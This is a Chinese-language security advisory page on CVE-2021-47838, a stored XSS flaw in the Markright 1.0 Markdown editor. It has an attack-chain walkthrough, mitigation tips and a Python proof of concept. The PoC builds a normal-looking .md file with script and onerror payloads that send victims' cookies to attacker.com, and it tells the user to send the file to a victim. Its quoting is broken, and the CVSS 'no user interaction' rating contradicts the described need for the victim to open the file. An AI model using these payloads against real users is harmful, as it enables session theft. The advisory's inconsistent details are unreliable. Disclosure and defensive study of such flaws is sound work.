IPBUF安全漏洞报告
English
CVE-2021-47838 CVSS 7.2 高危

CVE-2021-47838 Markright持久型跨站脚本漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47838
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Markright 1.0

相关标签

CVE-2021-47838XSS跨站脚本持久型XSSMarkrightMarkdown高危漏洞客户端漏洞JavaScript注入

漏洞概述

CVE-2021-47838是Markright 1.0版本中发现的一个高危安全漏洞,类型为持久型跨站脚本攻击(Persistent Cross-Site Scripting)。Markright是一款流行的Markdown编辑器,允许用户编辑和预览Markdown文档。该漏洞允许攻击者通过在Markdown文件中嵌入恶意JavaScript代码,当受害者打开这些特制的文件时,恶意代码会在受害者的浏览器上下文中执行。由于该漏洞是持久型的,恶意payload会保存在文件中,每次打开文件都会触发攻击,成功利用此漏洞可能导致窃取用户会话Cookie、劫持用户账号、进行钓鱼攻击,甚至在某些场景下可能实现远程代码执行(RCE)。该漏洞的CVSS评分为7.2,属于高危级别,攻击向量为网络,无需认证和用户交互即可利用,对机密性和完整性有一定影响。

技术细节

Markright 1.0在处理Markdown文件时存在输入验证不足的问题。攻击者可以构造包含恶意JavaScript代码的Markdown文件,当Markright打开并渲染该文件时,应用程序未能正确对用户输入进行HTML转义或内容安全策略(CSP)过滤。具体来说,攻击者可以在Markdown文档中插入<script>标签、事件处理器(如onerror、onload)或JavaScript URI协议(如javascript:),这些payload会在文件预览或打开时被执行。由于Markdown预览功能通常使用WebView或嵌入式浏览器引擎来渲染内容,这使得JavaScript代码可以在与主应用相同的上下文中运行。攻击者只需诱使受害者打开一个看似正常的.md文件,即可触发XSS攻击。此漏洞的危险性在于其持久性——恶意代码随文件存储,无需服务器端交互,且利用门槛低,无需特殊权限或复杂攻击链。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的Markdown文件,payload隐藏在看似正常的文档内容中
STEP 2
步骤2
攻击者通过邮件、共享文件夹、即时通讯或其他方式将恶意.md文件传递给受害者
STEP 3
步骤3
受害者在Markright 1.0中打开恶意的Markdown文件
STEP 4
步骤4
Markright在预览或渲染Markdown时,未正确过滤HTML标签,直接将payload插入DOM
STEP 5
步骤5
恶意JavaScript代码在受害者浏览器上下文中执行,可以窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47838 PoC - Markright Persistent XSS # This PoC generates a malicious Markdown file with XSS payload import os def generate_malicious_markdown(): """Generate malicious Markdown file with XSS payload""" # XSS payload - executes JavaScript when file is opened xss_payload = '<script>alert("XSS - CVE-2021-47838"); document.location="https://attacker.com/steal?cookie="+document.cookie;</script>' # Alternative payload using img onerror alt_payload = '<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">' # Create malicious markdown content malicious_content = f'''# Normal Looking Document This is a legitimate Markdown document. {xss_payload} ## Section 2 More content here... {alt_payload} --- *End of document* ''' return malicious_content def save_payload(filename="exploit.md"): """Save the malicious markdown file""" content = generate_malicious_markdown() with open(filename, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Malicious Markdown file created: {filename}") print(f"[+] File size: {len(content)} bytes") return filename if __name__ == "__main__": print("=" * 50) print("CVE-2021-47838 - Markright XSS PoC Generator") print("=" * 50) filename = save_payload() print(f"\n[!] Send this file to victim and have them open it in Markright") print(f"[!] When opened, the XSS payload will execute JavaScript")

影响范围

Markright < 1.0 (受影响)
Markright = 1.0 (确认受影响)

防御指南

临时缓解措施
在官方修复发布前,不要打开来源不明的Markdown文件,特别是通过邮件或不明链接获取的.md文件。建议使用纯文本编辑器查看未知来源的Markdown文件,避免使用具有渲染功能的Markdown编辑器。启用浏览器的安全设置,限制JavaScript执行。对于企业用户,可考虑使用沙箱环境隔离Markdown编辑器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表